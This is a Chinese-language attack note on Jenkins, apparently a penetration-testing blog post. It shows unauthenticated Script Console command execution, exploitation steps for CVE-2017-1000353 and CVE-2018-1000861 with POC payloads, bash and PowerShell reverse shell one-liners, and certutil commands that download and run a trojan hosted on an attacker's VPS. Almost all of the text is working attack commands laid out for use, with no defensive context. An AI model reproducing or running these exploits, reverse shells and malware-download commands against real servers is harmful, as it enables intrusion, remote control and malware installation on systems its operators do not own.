未授权访问
未授权访问地址
访问manage页面
进入Script Console
进入Script Console之后是一个执行脚本的页面
执行命令
Linux
println “ifconfig”.execute().text
Windows
println “ipconfig /all”.execute().text
命令执行
版本:2.46.1(CVE-2017-1000353)
jar包下载地址
EXP下载地址
生成字节码命令
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar
#jenkins_poc.ser "touch /tmp/success"
#jenkins_poc.ser是生成的字节码文件名
#"touch ..."是待执行的任意命令
#可以把touch /tmp/success命令换成反弹shell命令或者新建用户命令
#Linux
反弹shell:bash -i >& /dev/tcp/127.0.0.1/9090 0>&1
#Windows
反弹shell:powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
发送数据包执行命令
python3 exploit.py http://your-ip:8080 jenkins_poc.ser
版本:2.138(CVE-2018-1000861)
POC
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"touch /tmp/success".execute()
}
}
查看端口开放
println "cmd /c netstat -an".execute().text
远程下载木马
println "cmd /c certutil -urlcache -split -f http://VPS IP:PORT/ProgramData.exe C:\Program Files\payload.exe".execute().text
执行木马
println "cmd /c C:\ProgramData\payload.exe".execute().text
本地复制文件到远程VPS
scp /Users/kangd1w2/Desktop/ProgramData.exe root@VPS IP:/root
python2
python2 -m SimpleHTTPServer 1337
python3
python3 -m http.server 1337
木马地址
http://VPS IP:PORT/ProgramData.exe
最后来听首歌放松一下